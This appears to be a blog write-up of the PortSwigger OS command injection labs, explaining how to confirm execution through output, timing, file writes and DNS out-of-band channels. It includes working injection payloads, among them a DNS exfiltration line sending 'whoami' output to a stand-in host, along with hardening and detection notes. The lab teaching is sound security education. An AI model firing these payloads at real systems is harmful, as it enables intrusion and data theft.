Command injection is easy to describe and easy to under-model.

The bug is not just “user input reaches a shell.” The practical question is:

What channel tells me the command ran?

The five PortSwigger OS command injection labs make that progression explicit: direct output, time delay, file redirection, DNS interaction, and DNS data exfiltration.

Start with the channel

Channel When it works Example
direct response stdout/stderr is returned 1|whoami
time delay response waits for command completion ping -c 10 127.0.0.1
file write web process can write to a served directory whoami>/var/www/images/output.txt
DNS OOB outbound DNS is allowed nslookup x.oast-domain
DNS exfil OAST logs are visible nslookup `whoami`.oast-domain

This is also the order I want in a test. Prefer the smallest non-destructive proof that gives a clear signal.

Direct output is the easy case

The stock checker concatenates storeId into a shell command and returns raw output:

productId=1&storeId=1|whoami

If the response contains the process user, the execution primitive and the observation channel are both confirmed.

Blind does not mean invisible

The feedback form suppresses output. A local delay gives a timing oracle:

email=x||ping -c 10 127.0.0.1||

One small automation detail matters: in form encoding, + becomes a space. If your script sets the parameter value directly, use real spaces and let the library encode the body.

File redirection turns blind into readable

The third lab has a writable image directory that is also served by the application:

email=||whoami>/var/www/images/output.txt||

Then:

GET /image?filename=output.txt

This is a deployment flaw as much as an injection trick. A web process should not be able to write arbitrary content into a path that the same application serves back to users.

OOB is the last mile

If the command runs asynchronously and there is no file channel, DNS is the smallest external proof:

email=x||nslookup x.oast-domain||

For data exfiltration, put command output into the leftmost DNS label:

email=||nslookup `whoami`.oast-domain||

This only works operationally if you can read the OAST logs. Without that, the right workflow is to record the lab as pending collaboration rather than block unrelated work.

DNS has constraints: label length, allowed characters, caching, and resolver behavior. Short values such as usernames fit directly. Longer data needs chunking and DNS-safe encoding.

Defender notes

Hardening:

  • avoid shell invocation for user-controlled operations;
  • use argument arrays rather than command strings;
  • validate against fixed allowlists;
  • keep the application account low-privilege;
  • prevent writes into web-served static directories;
  • restrict outbound DNS and HTTP egress;
  • audit asynchronous command jobs and parameter sources.

Detection:

  • shell metacharacters in web fields that should contain email, name, message, product ID, or store ID;
  • commands such as whoami, id, ping, sleep, nslookup, curl;
  • redirection operators writing into static directories;
  • response delays matching regular 5s/10s/20s timing probes;
  • application servers resolving random external domains;
  • DNS labels that resemble usernames, hostnames, or encoded command output.

The main habit is channel accounting. Before escalating, decide how you will know the command ran. That one question keeps command injection testing controlled, reproducible, and easier to detect.